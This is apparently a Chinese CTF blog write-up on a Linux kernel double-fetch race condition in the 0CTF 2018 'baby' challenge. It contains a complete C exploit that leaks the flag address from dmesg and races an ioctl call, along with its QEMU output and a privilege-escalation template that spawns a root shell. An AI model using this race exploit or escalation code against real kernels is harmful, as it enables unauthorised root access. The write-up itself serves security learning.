    Double Fetch 从漏洞原理上属于条件竞争漏洞,是一种内核态与用户态之间的数据访问竞争;为什么会出现这种情况呢?我们在这里假设一种情况,如果程序之中存在两个线程,一个线程用以提交指针(该指针指向用户态,而内核首先检测该指针的情况,之后再进行拷贝),那么第二个恶意线程则是不断的去修改指针指向内核态或者其他的位置,那么内核再检测过该指针后,进行拷贝时可能已经被第二个线程恶意修改了指针所指向的位置,那么这就造成了一个数据泄露;

    1. 这里采用了0CTF2018-baby作为习题进行练习;而整体逻辑比较简单:
    /*	仅仅存在着ioctl该一个函数	*/
    __int64 __fastcall sub_25(__int64 a1, int a2, __int64 a3)
    {
      int i; // [rsp+1Ch] [rbp-54h]
    
      if ( a2 == 0x6666 ) // 泄露flag地址;
      {
        printk("Your flag is at %px! But I don't think you know it's content\n", flag);
        return 0LL;
      }
      else if ( a2 == 0x1337
             && !_chk_range_not_ok(a3, 16LL, *(_QWORD *)(__readgsqword((unsigned int)¤t_task) + 0x1358))
             && !_chk_range_not_ok(
                   *(_QWORD *)a3,
                   *(int *)(a3 + 8),
                   *(_QWORD *)(__readgsqword((unsigned int)¤t_task) + 0x1358))
             && *(_DWORD *)(a3 + 8) == strlen(flag) )
      {
        for ( i = 0; i < strlen(flag); ++i )
        {
          if ( *(_BYTE *)(*(_QWORD *)a3 + i) != flag[i] ) // 循环对比flag是否正确
            return 22LL;
        }
        printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag); // 如果正确则将输出flag
        return 0LL;
      }
      else
      {
        return 14LL;
      }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    1. 这里我就可以开始写脚本了,分别存在两个线程,一个线程循环ioctl函数,而另一个线程则是不断的去修改指针;
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    
    #define u64 unsigned long long
    #define u32 unsigned int
    #define u16 unsigned short
    #define u8  unsigned char
    #define LEN 0x1000
    u64 flagaddr;
    
    typedef struct kernel_struct{
    	char *buf;
    	size_t len;
    }ks;
    ks attr;
    
    u8 leak_true = 0;
    void leak_flagaddr()
    {
    	char buf[LEN+1];
    	char *idx;
    	puts("[*]leak flagaddr start!");
    	system("dmesg > leak.txt"); 
    	u32 fd = open("leak.txt", O_RDONLY);
    	if (fd < 0)
    	{
    		perror("open leak low!");
    	}
    	
    	lseek(fd, -LEN, SEEK_END); // 将读写指针设置最后一行
    	read(fd, buf, LEN);
    	
    	idx = strstr(buf, "Your flag is at ");
    	if (idx == 0){
            puts("[-]Not found addr");
            exit(-1);
        }
    	else
    	{
    		idx += 16;
    		flagaddr = strtoull(idx, NULL, 16); // 泄露地址
    		printf("[+]flag addr: %p\n", (void *)flagaddr);
    		leak_true = 1;
    	}
    	
    	close(fd);
    }
    
    char bssbuf[0x50];
    u8	 change_ture;
    
    void* change_ptr(void *nul) // 改变指针
    {
    	while(!change_ture)
    	{
    		attr.buf = (char*)flagaddr;
    	}
    }
    
    void attack(u64 fd)
    {
    	int i,ret;
    	pthread_t t;
    
    	puts("[*]attack start!");
    	change_ture = 0;
    	attr.len = 33;
    	attr.buf = bssbuf;
    	
    	pthread_create(&t, NULL, change_ptr, NULL); // 启动恶意线程
    	for(i=0; i<3000; i++)
    	{
    		ret = ioctl(fd, 0x1337, &attr); // 不断循环的进行竞争
    		attr.buf = bssbuf;
    	}
    	change_ture = 1;
    	pthread_join(t, NULL);
    }
    
    
    int main()
    {
    	u64 fd = open("/dev/baby", 2);
    	ioctl(fd,0x6666);
    	leak_flagaddr(); // 第一阶段,泄露
    	if (leak_true)
    		attack(fd); // 第二阶段,线程竞争
    	close(fd);
    	puts("[+]result is :");
        system("dmesg | grep flag");
        return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99

    如下为qemu其内部运行现象: (从本题当中我们将学习到了类似线程竞争的情况;

    [    0.039790] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline
    
    Boot took 1.07 seconds
    
    / $ ls
    baby.ko  dev      exp      home     lib      proc     sbin     tmp
    bin      etc      flag     init     linuxrc  root     sys      usr
    / $ ./exp
    [*]leak flagaddr start!
    [+]flag addr: 0xffffffffc0346028
    [*]attack start!
    [+]result is :
    [    3.357890] Your flag is at ffffffffc0346028! But I don't think you know it's content
    [    3.373977] Looks like the flag is not a secret anymore. So here is it flag{THIS_WILL_BE_YOUR_FLAG_1234}
    / $
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    如下,为提权模板:

    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    
    #define u64 unsigned long long
    #define u32 unsigned int
    #define u16 unsigned short
    #define u8  unsigned char
    
    u64 commit_creds;
    u64 prepare_kernel_cred;
    u64 vmlinux_base;
    
    size_t user_cs, user_ss, user_rflags, user_sp;
    void save_status()
    {
        __asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_sp, rsp;"
                "pushf;"
                "pop user_rflags;"
               );
        puts("[*]status has been saved.");
    }
    void root()
    {
        if (!getuid())
        {
            puts("[*]root new!");
            system("/bin/sh");
        }
        else
            puts("[*]spawn shell error!");
        exit(0);
    }
    
    int main()
    {
        return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45

    先发的站点(原文链接)在这里,都一样;

  • 相关阅读:
    BHQ-2 NH2 CAS:1241962-11-7使用作为各种荧光共振能量转移(FRET)DNA检测探针中
    java分割----String[] stringArray = str.split(“ “);
    传感模块:MATEKSYS Optical Flow & LIDAR 3901-L0X
    理解JVM
    【资源分享】2022年第五届土木,建筑与环境工程国际会议(ICCAEE 2022)
    Linux MQTT智能家居(ubantu和ARM中使用MQTT)
    一点点树和算法
    随机数漫谈
    vim 自动添加脚本信息
    Arduino程序设计(十四)舵机控制实验(SG90)
  • 原文地址:https://blog.csdn.net/njh18790816639/article/details/127625182